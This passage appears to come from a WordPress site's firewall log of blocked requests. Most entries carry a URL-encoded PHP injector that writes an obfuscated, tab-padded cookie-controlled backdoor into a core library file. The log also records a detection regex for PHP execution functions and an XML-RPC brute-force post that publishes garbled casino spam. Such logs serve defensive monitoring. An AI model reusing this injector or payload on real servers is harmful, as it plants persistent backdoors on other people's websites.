Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3263\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nKu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS256.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B13%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B27%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B7%255D%2528%2524p%255B22%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:51:24","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Rs:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS256.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B13%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B27%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B7%255D%2528%2524p%255B22%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHaZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\ncontent-length:3263\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-fetch-mode:navigate\n\nRs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS256.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B13%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B27%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B7%255D%2528%2524p%255B22%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:51:27","50.6.7.129","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS256.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B13%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B27%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B7%255D%2528%2524p%255B22%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM20vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-length:3263\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-fetch-mode:navigate\n\ngm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS256.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B13%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B27%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B7%255D%2528%2524p%255B22%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:51:40","34.101.101.253","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS256.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B13%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B27%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B7%255D%2528%2524p%255B22%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:3286\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-fetch-mode:navigate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS256.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B13%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B27%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B7%255D%2528%2524p%255B22%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 20:51:58","156.59.62.165","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[Totally free Revolves No deposit 2026 ️step one,000  Bonus Revolves]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Articles<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Almost every other Free Revolves Bonuses in order to Allege<\/a><\/li><li><a href=\"#toc-1\">Discover Personal Casino Sale!<\/a><\/li><\/ul><\/div>\n<p>It’s not a secret you to no deposit incentives are primarily for new players. Learn the finest gambling enterprises with no wagering bonuses. In the our leading online casinos, the brand new excitement never closes—your following prize could be just a go away! <!--more--> Think everyday totally free revolves, reload incentives, otherwise personal usage of the new slot releases that have added bonus spins to give them a go aside.<\/p>\r\n<h2 id=\"toc-0\">Almost every other Free Revolves Bonuses in order to Allege<\/h2>\n<p>Over your’ll discover our newest list of the most generous and you will credible no-deposit now offers readily available today. No matter where you gamble of, Canada, The newest Zealand, great britain, otherwise Europe, this guide makes it possible to come across safer, subscribed casinos that permit your gamble instantly, instead of investing a penny. Casinority is another opinion webpages in the online casino specific niche. Usually make sure you adhere to all of the relevant laws and regulations just before engaging with people on-line casino.<\/p>\r\n<h2 id=\"toc-1\">Discover Personal Casino Sale!<\/h2>\n<p>Any profits away from Incentive Spins might possibly be additional while the Extra Financing. You can find wagering criteria to show Extra Money to the Cash Finance. When you yourself have showed up in this post perhaps not via the appointed render away from Primecasino you would not be eligible for the deal. Abnormal enjoy can result in elimination of bonus. Rating £dos.00 (ten x 20p) Rainbow Wealth slot extra. Bonuses do not prevent withdrawing deposit harmony.<\/p>\r\n<ul><li>From the Fanatics Gambling enterprise, We gotten twenty-five totally free spins at the Arthur Pendragon after joining, and exclusive advantages as the a current athlete perhaps not on the promo web page.<\/li><li>Legislators attempted again inside the 2023, wager and get rid of by opening the new betting information loss on the My Account element of your internet account.<\/li><li>Attracting on the numerous years of level Las vegas, the guy shows the newest fashion you to definitely drive gaming conclusion across the America.<\/li><li>Simply including you're adequate, and no deposit is required.<\/li><li>Max withdrawable earnings £\/€300.<\/li><li>The 100 percent free spin no deposit added bonus you to we've got demanded here, when it has 30 free spins, sixty free spins, or over 100 revolves, has fine print that you should esteem and you may learn.<\/li><\/ul>\n<p>While you are local casino no-put incentives enable it to be participants first off without using their particular currency, wagering standards and you can put expected real cash regulations nonetheless pertain prior to withdrawals is accepted. Most online casinos, for example that have <a href=\"https:\/\/casinolead.ca\/online-casino-canada-legal\/\">https:\/\/casinolead.ca\/online-casino-canada-legal\/<\/a> BetMGM, require a deposit only to ensure payment facts before detachment, even if the gambling establishment incentives on their own does not require wagering which have real money. DraftKings Local casino is targeted on deposit-dependent greeting also offers one refund losses that have extra loans and free revolves on the web slot 